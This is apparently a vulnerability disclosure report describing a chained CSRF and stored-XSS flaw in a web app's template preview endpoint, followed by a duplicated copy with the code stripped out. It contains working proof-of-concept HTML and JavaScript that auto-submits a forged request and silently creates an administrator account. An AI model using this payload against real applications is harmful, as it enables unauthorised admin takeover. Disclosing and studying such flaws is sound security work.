Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Details
During a security evaluation of the webapp, I noticed that in every http request in addition to the session cookie session
there is the nonce
. which is not checked and validated by the backend, in fact removing this nonce
the requests are processed correctly
This may seem seemingly harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce :

PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS ( I think it is intentional to leave javascript free in templates ? )
An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview
), in templates it is possible to execute javascript code, for example:
And this request can also be made without nonce
.
Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin)
This is possible for 2 reasons :
- There is no validation of the
nonce
(as mentioned above)
- The
session
cookie has no samesite flag
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set Lax
(Chrome), but many others use None
(Firefox, Edge)
For example, we can host this html page to prompt the admin to make a post request
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
I tested the CSRF+XSS PoC written above on 3 browsers in their latest versions
- Chrome ❌
- Firefox ✅
- Edge ✅
Example in Firefox :

We can now replace the simple alert()
with any “harmful” request. request, for example the creation of a new admin account:

<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
var body = "{\"username\":\"testuser4\",\"email\":\"[email protected]\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
So the final poc that exploits CSRF + XSS to create an admin account is like this :
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
Admin account creation
Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Details
During a security evaluation of the webapp, I noticed that in every http request in addition to the session cookie
session
there is thenonce
. which is not checked and validated by the backend, in fact removing thisnonce
the requests are processed correctlyThis may seem seemingly harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce :

PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS ( I think it is intentional to leave javascript free in templates ? )
An admin (or any user with permissions) can create templates and preview them (
POST /api/templates/preview
), in templates it is possible to execute javascript code, for example:And this request can also be made without
nonce
.Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin)
This is possible for 2 reasons :
nonce
(as mentioned above)session
cookie has no samesite flagAs we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set
Lax
(Chrome), but many others useNone
(Firefox, Edge)For example, we can host this html page to prompt the admin to make a post request
I tested the CSRF+XSS PoC written above on 3 browsers in their latest versions
Example in Firefox :
We can now replace the simple

alert()
with any “harmful” request. request, for example the creation of a new admin account:So the final poc that exploits CSRF + XSS to create an admin account is like this :
Impact
Admin account creation